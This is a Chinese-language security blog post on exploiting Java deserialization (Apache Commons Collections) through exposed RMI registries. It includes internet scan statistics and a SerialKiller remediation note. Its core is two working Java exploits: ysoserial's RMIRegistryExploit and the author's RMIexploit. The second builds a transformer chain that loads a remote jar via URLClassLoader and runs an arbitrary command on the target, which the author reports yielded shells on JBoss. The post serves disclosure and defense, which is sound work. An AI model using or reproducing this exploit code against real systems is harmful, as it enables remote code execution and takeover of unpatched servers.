Java反序列化漏洞被忽略的大规模杀伤利用

前一段时间热炒的Java反序列化漏洞,大家在玩的很嗨的时候貌似忽略了一件很重要的事情——Java在cs架构的设计中使用序列化传输是非常普遍的现象,而在像JBoss这种中间件也使用这种设计。所以,我在一边研究这个漏洞,一边看大家嗨嗨的玩的同时,也很好奇在一些通过Java实现的CS架构应用(比如:大型国企都喜欢用的会计软件、内容发布系统),是不是也会用到Apache Commons Collections这个库。

不知道是不是研究Java Web的大神们都在闷声发大财,这次这个漏洞的分析文章大多都停留在那个老外blog中的各个中间件的利用玩法上,却没有注意到Java Web中常见的架构都会因为这个问题而沦陷。而且除了长亭之外的文章,其他各家的修复建议大多都是针对利用来进行修复,治标不治本。

0x01 大规模利用原罪——RMI

在分布式遍地走的如今,很多使用Java开发的Web也都使用了分布式分发的结构,比如我所了解的很多大型组织都会在后台部署一些Java应用,用于向对外网站发布更新的静态页面,而这种发布命令的下达使用的就是RMI。

我们先看下RMI在wikipedia上的描述:

Java远程方法调用,即Java RMI(Java Remote Method Invocation)是Java编程语言里,一种用于实现远程过程调用的应用程序编程接口。它使客户机上运行的程序可以调用远程服务器上的对象。远程方法调用特性使Java编程人员能够在网络环境中分布操作。RMI全部的宗旨就是尽可能简化远程接口对象的使用。

Java RMI极大地依赖于接口。在需要创建一个远程对象的时候,程序员通过传递一个接口来隐藏底层的实现细节。客户端得到的远程对象句柄正好与本地的根代码连接,由后者负责透过网络通信。这样一来,程序员只需关心如何通过自己的接口句柄发送消息。

更加令人警示的是RMI的传输过程必然会用到序列化和反序列化,那么如果RMI服务端接口对外开放,并且服务端使用了像Apache Commons Collections这样的库,很容易被攻击者窥视。

0x02 被忽略掉的关键内容

breenmachine的原文中,有不少的地方描述了关于反序列化漏洞对于RMI的影响,比如:

Java LOVES sending serialized objects all over the place. For example:

  • In HTTP requests – Parameters, ViewState, Cookies, you name it.

  • RMI – The extensively used Java RMI protocol is 100% based on serialization

  • RMI over HTTP – Many Java thick client web apps use this – again 100% serialized objects

  • JMX – Again, relies on serialized objects being shot over the wire

  • Custom Protocols – Sending an receiving raw Java objects is the norm – which we’ll see in some of the exploits to come

RMI的传输100%基于反序列化。

还有这个:

If you see port 1099, that’s Java RMI. RMI by definition just uses serialized objects for all communication. This is trivially vulnerable, as seen in our OpenNMS exploit

如果你看到了1099端口,这是Java RMI的默认端口。RMI默认使用序列化来完成所有的交互。这是非常常见的漏洞,就像我们写出的OpenNMS exploit。

以及《Exploit 5 – OpenNMS through RMI》这个小节,都是在介绍RMI的利用情况。但是都被大家忽略掉了,这令我很费解。

0x03 Exploit的构造

RMI的Exploit构造相对比较容易,对于了解Java编程的同学应该很简单的就可以写出来了。这里我们简单的来分析一下ysoserial这个工具中对于RMI利用的实现。

public class RMIRegistryExploit {
    public static void main(final String[] args) throws Exception {
        // ensure payload doesn't detonate during construction or deserialization 
        ExecBlockingSecurityManager.wrap(new Callable<Void>(){public Void call() throws Exception {
            Registry registry = LocateRegistry.getRegistry(args[0], Integer.parseInt(args[1]));     
            String className = CommonsCollections1.class.getPackage().getName() +  "." + args[2];
            Class payloadClass = (Class







) Class.forName(className);
            Object payload = payloadClass.newInstance().getObject(args[3]);
            Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap("pwned", payload), Remote.class);
            try {
                registry.bind("pwned", remote);
            } catch (Throwable e) {
                e.printStackTrace();
            }           
            
            try {
                String[] names = registry.list();
                for (String name : names) {
                    System.out.println("looking up '" + name + "'");
                    try {
                        Remote rem = registry.lookup(name);
                        System.out.println(Arrays.asList(rem.getClass().getInterfaces()));
                    } catch (Throwable e) {
                        e.printStackTrace();
                    }                   
                }
            } catch (Throwable e) {
                e.printStackTrace();
            }
            
            return null;
        }});
    }
}

这段实现代码中,使用了Java中Proxy的形式对于构造的攻击payload进行了封装,并在对Proxy实现重新封装的过程中使用了大量的泛类型。这样用最大的好处就是payload足够的通用,可以应对多种不同的应用。但是,对于我们目前被大多数人所使用的基于Integer格式报错的回显方法,这种封装影响格式异常的回显。所以,在想要获取回显交互的情况下,这个工具并不是太好用。因此,我重新写了一个用于实现回显的工具,RMI利用部分代码如下:

public class RMIexploit {
    public static Constructor getFirstCtor(final String name) throws Exception {
        final Constructor







 ctor = Class.forName(name).getDeclaredConstructors()[0];
        ctor.setAccessible(true);
        return ctor;
    }

    public static void main(String[] args) {

        String ip = args[0];
        int port = Integer.parseInt(args[1]);
        String remotejar = args[2];
        String command = args[3];
        
        
        final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
        try{
            final Transformer[] transformers = new Transformer[] { 
                    new ConstantTransformer(java.net.URLClassLoader.class), 
                    new InvokerTransformer("getConstructor", new Class[] {Class[].class}, new Object[] { 
                      new Class[]{java.net.URL[].class}}), 
                    new InvokerTransformer("newInstance", new Class[] { 
                      Object[].class}, new Object[] { new Object[] { new java.net.URL[] { new java.net.URL(remotejar) }}}), 
                    new InvokerTransformer("loadClass", 
                      new Class[] { String.class }, new Object[] { "ErrorBaseExec" }), 
                    new InvokerTransformer("getMethod", 
                      new Class[]{String.class, Class[].class}, new Object[]{"do_exec", new Class[]{String.class}}), 
                    new InvokerTransformer("invoke", 
                      new Class[]{Object.class, Object[].class}, new Object[]{null, new String[]{command}}) 
                      }; 
            Transformer transformedChain = new ChainedTransformer(transformers);

            Map innerMap = new HashMap();
            innerMap.put("value", "value");
            Map outerMap = TransformedMap.decorate(innerMap, null, transformedChain);

            Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
            ctor.setAccessible(true);
            Object instance = ctor.newInstance(Target.class, outerMap);
            Registry registry = LocateRegistry.getRegistry(ip, port);
            InvocationHandler h =  (InvocationHandler) getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Target.class, outerMap);
            Remote r = Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[]{Remote.class}, h));
            registry.bind("pwned", r);

其实内容很简单,就是在原有的payload生成代码后面加上了RMI的调用。这种写法我针对Jboss5和6系列的版本进行了测试,均可以在JMXInvoker删除的情况下获取shell。我们在后期对该问题影响进行扫描的结果,可以证明这个Exploit并不仅仅只是针对Jboss有效,而是针对整个RMI协议。

PS:在我自己测试过程中,Jboss4系列貌似并没有直接的使用RMI,所以无法使用本小节给出的Exploit编写方法完成攻击。还有就是Jboss7,我发现貌似已经不开放RMI相关协议端口了(也许是我下载的姿势不对233),所以也没有测试成功。

0x04 RMI漏洞影响

我们使用我们自己的全网扫描平台SEER对于1090和1099端口进行了全网扫描:

  • 1090和1099端口全球开放 3754959 台,其中将端口用于RMI交互的主机53170 台,占比14.16%
  • 存在反序列化漏洞 5875 台,占比 11.04%
  • 存在漏洞的主机中,Linux主机 3946 台,其中可以直接获得root权限的主机 2531 台,占比 64.14%;Windows主机 1929 台,其中可以直接获得管理员权限的主机 425台,占比 22.03%

0x05 修复建议

因为受影响的多家厂商在今年1月拿到POC至今都没有对该问题做任何修复,所以短期内并不会有官方补丁放出,如果很重视这个安全问题并且想要有一个临时的解决方案可以参考NibbleSecurity公司的ikkisoft在github上放出了一个临时补丁SerialKiller。

下载这个jar后放置于classpath,将应用代码中的java.io.ObjectInputStream替换为SerialKiller,之后配置让其能够允许或禁用一些存在问题的类,SerialKiller有Hot-Reload,Whitelisting,Blacklisting几个特性,控制了外部输入反序列化后的可信类型。

以上引用长亭科技文章中的修复建议

lib地址:https://github.com/ikkisoft/SerialKiller

绿盟科技蜂巢已针对这个漏洞启动应急机制,蜂巢是由绿盟众多研发人员、工程人员和服务同事共同维护的创新性安全扫描插件互助社区,致力于打造为一个开放、共享的安全学习社区。安全研究人员可以在互联网上获取漏洞信息,然后根据蜂巢的开发规划编写对应的扫描插件。从漏洞分析、代码开发、安全交流等多方面来提升自己的能力。另外,在这个社区,安全人员可以方便获取对应插件进行安全测试,共同维护互联网安全,一起见证群蜂筑安全巢穴的强大能力。

0x06 参考资料

  1. Lib之过?Java反序列化漏洞通用利用分析
  2. Exploiting Deserialization Vulnerabilities in Java
  3. https://github.com/frohoff/ysoserial
  4. What Do WebLogic, WebSphere, JBoss, Jenkins, OpenNMS, and Your Application Have in Common? This Vulnerability.
  5. AppSecCali 2015 – Marshalling Pickles

Spread the word. Share this post!

Meet The Author

Leave Comment